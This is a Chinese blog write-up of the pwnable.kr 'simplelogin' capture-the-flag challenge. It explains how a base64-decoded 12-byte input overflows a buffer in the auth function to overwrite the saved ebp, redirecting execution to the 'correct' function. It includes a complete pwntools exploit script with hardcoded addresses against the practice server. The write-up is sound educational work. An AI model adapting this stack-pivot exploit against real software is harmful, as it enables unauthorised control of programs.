pwnable.kr 之simplelogin

本文介绍了一道Pwn题目的解题过程,通过分析目标程序的漏洞,利用栈溢出技巧实现对程序的控制。文章详细解释了如何绕过栈执行保护和缓冲区溢出保护,构造payload并成功控制程序流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这道题目还是很有意思的。是自从参加了一次pwn培训之后的第一道题目,感觉确实比以前舒服多了。
下载题目,IDA反汇编,基本逻辑很简单,输入一个字符串,进行base64解密,然后比对长度,如果超过12个就直接报错。

这里写图片描述
漏洞点找了很久,这个漏洞点确实很巧妙。开始的时候,checksec了一下。
这里写图片描述
发现开启了栈执行保护,和缓冲区溢出保护。所以直接放弃了栈溢出这个思路,觉得应该另有简单路径。结果学了半天Base64Decode函数中的一大堆BIO,还是没找到相关漏洞。在这里浪费了不少时间。

所以又往下找到了auth函数,仔细一看果然在这里出现了问题。
这里写图片描述

这里的v4距离ebp只有8个字节,后面拷贝的时候却拷贝的是input的内容,而input中存储的是输入字符串base64解码后的内容。Input最大可以有12个字节!那么这里就存在一个溢出了,遗憾的是只能控制ebp。后面的返回地址控制不到。
但是只能控制ebp就足够了!ebp控制了,返回的时候,CPU只会觉得ebp后面就是返回地址。那么我们就把ebp改成input的地址吧! 这样的话,input的里面的第五个字节开始就会被认为是返回地址。
还有一个小坑的地方就是 correct函数里面竟然有一个判断,
这里写图片描述

这个就是判断input的前四个字节是不是deadbeef,因此一开始在这里也调试了好久!不仔细看correct函数的恶果。
所以payload就出来了,就是让最终的input也就是内容解码之后的前四个字节是0xdeadbeef,紧接着要是correct函数的地址,后面是input的地址用于溢出的时候控制ebp。
这几个地址都可以直接IDA看到。
所以最终payload如下:

from pwn import *
import base64
target = remote("pwnable.kr",9003)

correct = 0x804925f
inputs = 0x811eb40
payload = base64.b64encode("" + p32(0xdeadbeef) + p32(correct) + p32(inputs))
print payload + '\n'
target.recv()
sleep(0.5)
target.sendline(payload)
sleep(0.5)
target.interactive()

这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值